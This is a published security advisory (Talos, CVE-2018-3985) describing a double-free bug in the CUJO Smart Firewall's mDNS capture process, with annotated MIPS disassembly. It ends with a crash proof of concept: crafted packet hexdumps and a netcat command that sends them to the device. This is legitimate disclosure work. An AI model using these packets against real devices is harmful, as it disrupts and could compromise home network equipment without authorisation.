Talos Vulnerability Report

TALOS-2018-0653

CUJO Smart Firewall mdnscap mDNS record parsing code execution vulnerability

March 19, 2019
CVE Number

CVE-2018-3985

Summary

An exploitable double free vulnerability exists in the mdnscap binary of the CUJO Smart Firewall. When parsing mDNS packets, a memory space is freed twice if an invalid query name is encountered, leading to arbitrary code execution in the context of the mdnscap process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

8.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CWE

CWE-415: Double Free

Details

CUJO AI produces CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.

To achieve this, CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.

The firmware is present in the external eMMC and is based on OCTEON's SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent: it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with "tappers", which are processes meant to listen for a variety of network activities.

CUJO uses a set of custom "tappers" and other known network-related tools, whose names are self-explanatory: mdnscap, dnscap, dhcpcap, arp-mitm, p0f, softflowd, scannerd, snort. The device continuously updates the remote server when new network activities are detected.

In particular, the mdnscap binary collects mDNS packets from the network. It does so by using the libpcap library.

Before starting the packet capture, the main function drops the process' privileges, constraining it in a chroot environment running as the _mdnscap user.

Shortly after, the functions pcap_compile and pcap_loop are used to call the function sub_3F14 every time an UDP packet is received on port 5353.

.text:00003F14      # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000                 li      $gp, 0x1B0EC
.text:00003F1C 000                 addu    $gp, $t9
.text:00003F20 000                 addiu   $sp, -0xA8
.text:00003F24 0A8                 sw      $ra, 0xA8+var_4($sp)
.text:00003F28 0A8                 sw      $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8                 move    $fp, $sp
.text:00003F30 0A8                 sw      $gp, 0xA8+var_90($sp)
.text:00003F34 0A8                 sw      $a0, 0xA8+user($fp)
.text:00003F38 0A8                 sw      $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8                 sw      $a2, 0xA8+data($fp)           # [1]
...
.text:00003FB4 0A8                 lw      $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8                 nop
.text:00003FBC 0A8                 lw      $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8                 nop
.text:00003FC4 0A8                 sw      $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8                 addiu   $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8                 addiu   $v0, $fp, 0xA8+data
.text:00003FF0 0A8                 move    $a3, $a1
.text:00003FF4 0A8                 move    $a2, $a0
.text:00003FF8 0A8                 move    $a1, $v1
.text:00003FFC 0A8                 move    $a0, $v0
.text:00004000 0A8                 li      $v0, 0
.text:00004004 0A8                 nop
.text:00004008 0A8                 addiu   $v0, parse_ether
.text:0000400C 0A8                 move    $t9, $v0
.text:00004010 0A8                 bal     parse_ether                   # [2]
...
.text:00004058 0A8                 bal     parse_ip                      # [3]
...
.text:000040A4 0A8                 bal     parse_udp                     # [4]
...
.text:00004138 0A8                 bal     parse_mdns                    # [5]

The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally the mDNS payload is parsed by calling function [5].

.text:000039E0     parse_mdns:
...
.text:00003AE8 060                 lw      $v0, 0x60+mdns_data($fp)      # [6]
.text:00003AEC 060                 nop
.text:00003AF0 060                 lhu     $v1, 2($v0)                   # flags
.text:00003AF4 060                 li      $v0, 0xFFFF8000
.text:00003AF8 060                 and     $v0, $v1, $v0
.text:00003AFC 060                 andi    $v0, 0xFFFF
.text:00003B00 060                 beqz    $v0, loc_3B28                 # [7] ensure QR=1
.text:00003B04 060                 nop
.text:00003B08 060                 lw      $v0, 0x60+mdns_data($fp)
.text:00003B0C 060                 nop
.text:00003B10 060                 lhu     $v0, 2($v0)
.text:00003B14 060                 nop
.text:00003B18 060                 andi    $v0, 0x200
.text:00003B1C 060                 andi    $v0, 0xFFFF
.text:00003B20 060                 beqz    $v0, loc_3B34                 # [8] ensure TC=0
.text:00003B24 060                 nop
...
.text:00003B34     loc_3B34:
...
.text:00003BBC 060                 addiu   $a1, $v0, aQueries            # "QUERIES:\n"
.text:00003BC0 060                 move    $a0, $zero
.text:00003BC4 060                 la      $v0, verbprintind
.text:00003BC8 060                 nop
.text:00003BCC 060                 move    $t9, $v0
.text:00003BD0 060                 bal     verbprintind
...
.text:00003C18 060                 sw      $zero, 0x60+query($sp)        # type
.text:00003C1C 060                 move    $a3, $a0                      # mdns_total_entries
.text:00003C20 060                 move    $a2, $v1                      # mdns_sections_ptr
.text:00003C24 060                 lw      $a1, 0x60+mdns_data_end($fp)  # mdns_data_end
.text:00003C28 060                 lw      $a0, 0x60+mdns_data_2($fp)    # mdns_data
.text:00003C2C 060                 li      $v0, 0
.text:00003C30 060                 nop
.text:00003C34 060                 addiu   $v0, parse_mdns_records
.text:00003C38 060                 move    $t9, $v0
.text:00003C3C 060                 bal     parse_mdns_records            # [9]
...
.text:00003C6C 060                 addiu   $a1, $v0, aAnswers            # "ANSWERS:\n"
...
.text:00003CF0 060                 bal     parse_mdns_records            # [10]
...
.text:00003D20 060                 addiu   $a1, $v0, aAuthority          # "AUTHORITY:\n"
...
.text:00003DA4 060                 bal     parse_mdns_records            # [11]
...
.text:00003DD4 060                 addiu   $a1, $v0, aAdditional         # "ADDITIONAL:\n"
...
.text:00003E58 060                 bal     parse_mdns_records            # [12]

The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).

Then, for each section ("question" [9], "answer" [10], "authority" [11] and "additional" [12]), the function parse_mdns_records is called.

.text:000035F0      # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060                 b       loc_3928
.text:00003678 060                 nop
.text:0000367C
.text:0000367C     loc_367C:                                                     # [13] loop
.text:0000367C 060                 lw      $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060                 lw      $a1, 0x60+mdns_data_end($fp)
.text:00003684 060                 lw      $a0, 0x60+mdns_data($fp)
.text:00003688 060                 li      $v0, 0
.text:0000368C 060                 nop
.text:00003690 060                 addiu   $v0, dns_parse_name
.text:00003694 060                 move    $t9, $v0
.text:00003698 060                 bal     dns_parse_name                        # [14]
.text:0000369C 060                 nop
.text:000036A0 060                 lw      $gp, 0x60+var_48($fp)
.text:000036A4 060                 sw      $v0, 0x60+query_name($fp)             # [15]
.text:000036A8 060                 lw      $v0, 0x60+query_name($fp)
.text:000036AC 060                 nop
.text:000036B0 060                 beqz    $v0, loc_394C                         # [21]
.text:000036B4 060                 nop
.text:000036B8 060                 la      $v0, _fbss
.text:000036BC 060                 nop
.text:000036C0 060                 lw      $v1, (_fbss - 0x17148)($v0)
.text:000036C4 060                 lw      $a2, 0x60+query_name($fp)
.text:000036C8 060                 li      $v0, 0
.text:000036CC 060                 nop
.text:000036D0 060                 addiu   $a1, $v0, aNameS                      # "NAME: %s\n"
.text:000036D4 060                 move    $a0, $v1
.text:000036D8 060                 la      $v0, verbprintind
.text:000036DC 060                 nop
.text:000036E0 060                 move    $t9, $v0
.text:000036E4 060                 bal     verbprintind
.text:000036E8 060                 nop
.text:000036EC 060                 lw      $gp, 0x60+var_48($fp)
.text:000036F0 060                 lbu     $v1, 0x60+var_31($fp)
.text:000036F4 060                 addiu   $v0, $fp, 0x60+var_1E
.text:000036F8 060                 sw      $v0, 0x60+var_50($sp)
.text:000036FC 060                 move    $a3, $v1
.text:00003700 060                 lw      $a2, 0x60+mdns_sections_ptr($fp)
.text:00003704 060                 lw      $a1, 0x60+mdns_data_end($fp)
.text:00003708 060                 lw      $a0, 0x60+mdns_data($fp)
.text:0000370C 060                 li      $v0, 0
.text:00003710 060                 nop
.text:00003714 060                 addiu   $v0, dns_parse_qr
.text:00003718 060                 move    $t9, $v0
.text:0000371C 060                 bal     dns_parse_qr                          # [16]
.text:00003720 060                 nop
.text:00003724 060                 lw      $gp, 0x60+var_48($fp)
.text:00003728 060                 sw      $v0, 0x60+query_qr($fp)               # [17]
.text:0000372C 060                 lw      $v0, 0x60+query_qr($fp)
.text:00003730 060                 nop
.text:00003734 060                 beqz    $v0, loc_3958                         # [22]
...
.text:000038D0     loc_38D0:
.text:000038D0 060                 lw      $v0, 0x60+var_40($fp)
.text:000038D4 060                 nop
.text:000038D8 060                 lw      $v0, 0($v0)
.text:000038DC 060                 nop
.text:000038E0 060                 addiu   $v1, $v0, 1
.text:000038E4 060                 lw      $v0, 0x60+var_40($fp)
.text:000038E8 060                 nop
.text:000038EC 060                 sw      $v1, 0($v0)
.text:000038F0 060                 lw      $a0, 0x60+query_name($fp)
.text:000038F4 060                 la      $v0, free
.text:000038F8 060                 nop
.text:000038FC 060                 move    $t9, $v0
.text:00003900 060                 jalr    $t9                                   # [18]
.text:00003904 060                 nop
.text:00003908 060                 lw      $gp, 0x60+var_48($fp)
.text:0000390C 060                 lw      $a0, 0x60+query_qr($fp)
.text:00003910 060                 la      $v0, free
.text:00003914 060                 nop
.text:00003918 060                 move    $t9, $v0
.text:0000391C 060                 jalr    $t9                                   # [19]
.text:00003920 060                 nop
.text:00003924 060                 lw      $gp, 0x60+var_48($fp)
.text:00003928
.text:00003928     loc_3928:
.text:00003928 060                 lw      $v0, 0x60+mdns_total_entries($fp)
.text:0000392C 060                 nop
.text:00003930 060                 addiu   $v1, $v0, -1                          # [20]
.text:00003934 060                 sw      $v1, 0x60+mdns_total_entries($fp)
.text:00003938 060                 bnez    $v0, loc_367C
.text:0000393C 060                 nop
.text:00003940 060                 move    $v0, $zero
.text:00003944 060                 b       loc_3998                              # [13] loop
.text:00003948 060                 nop
.text:0000394C
.text:0000394C     loc_394C:                                                     # [21]
.text:0000394C 060                 nop
.text:00003950 060                 b       loc_395C
.text:00003954 060                 nop
.text:00003958
.text:00003958     loc_3958:                                                     # [22]
.text:00003958 060                 nop
.text:0000395C
.text:0000395C     loc_395C:                                                     # [23]
.text:0000395C 060                 lw      $a0, 0x60+query_name($fp)
.text:00003960 060                 la      $v0, free
.text:00003964 060                 nop
.text:00003968 060                 move    $t9, $v0
.text:0000396C 060                 jalr    $t9                                   # [24]
.text:00003970 060                 nop
.text:00003974 060                 lw      $gp, 0x60+var_48($fp)
.text:00003978 060                 lw      $a0, 0x60+query_qr($fp)
.text:0000397C 060                 la      $v0, free
.text:00003980 060                 nop
.text:00003984 060                 move    $t9, $v0
.text:00003988 060                 jalr    $t9                                   # [25] double free

The function loops [13] over each entry in the section (either "question", "answer", "authority" or "additional").

At [14] the entry's DNS name is extracted by calling dns_parse_name, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name).

Next, the function extracts the "Rdata" field by calling dns_parse_qr [16], which returns a pointer to a heap buffer, then stored on the stack [16] (query_qr). Note that since the "Rdata" field only exists in resource records, a pointer to an empty string is returned when the section is "question".

If both calls are successfull, the execution continues by storing the results into different buffers, and finally the query_name [18] and query_qr [19] are freed. The mdns_total_entries variable is decremented and the loop continues over the next entry.

However, in case dns_parse_name [21] or dns_parse_qr fail [22], the execution will eventually jump to [23], which ends up calling free over both query_name [24] and query_qr [25].

This can clearly trigger a double free condition, since at the start of each loop both query_name and query_qr point to either 0 (on the first loop iteration) or to an already freed pointer (on subsequent iterations, because of [18] and [19]). Starting from the second iteration, if dns_parse_name fails, the memory pointed by query_qr will be freed again at [25].

It's possible to make dns_parse_name fail either by sending any kind of invalid label (note that name compression is supported), or by specifying an incorrect number of entries in the DNS header (for example by setting it to one entry more than the entries actually present in the packet).

An attacker can exploit this vulnerability to achieve arbitrary code execution without authentication, in the context of the mdnscap process. Note in fact, that the attacker would need to escape the chroot and elevate his privileges in order to fully compromise the device.

Exploit Proof of Concept

The following proof of concept shows how to crash the mdnscap process.

Consider the following input file:

$ hexdump input.bin
00000000  12 34 80 00 00 02 00 00  00 00 00 00 04 41 42 43
00000010  44 00 d0 d1 e0 e1 04 41  42 43 44 ff 00 d0 d1 e0
00000020  e1
00000021

We have two "question" entries:

  • The first one with label "\0x04ABCD\x00"
  • The second one with label "\x04ABCD\xff\x00".

The "\xff" in the second entry is considered to be a length, which goes out of bounds. Thus, the label is considered invalid, making dns_parse_name to return 0.

The following command crashes mdnscap:

$ nc -u $CUJO_IP 5353 < input.bin

As previously explained, the same bug can be triggered using an overlong section count:

$ hexdump input.bin
0000000 12 34 80 00 00 02 00 00 00 00 00 00 04 41 42 43
0000010 44 00 d0 d1 e0 e1
0000016

As we can see the entry count is still "\x02", but only one entry is defined, making dns_parse_name to return 0 while checking for the second entry.

Timeline

2018–09-18 - Vendor Disclosure
2019-03-19- Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.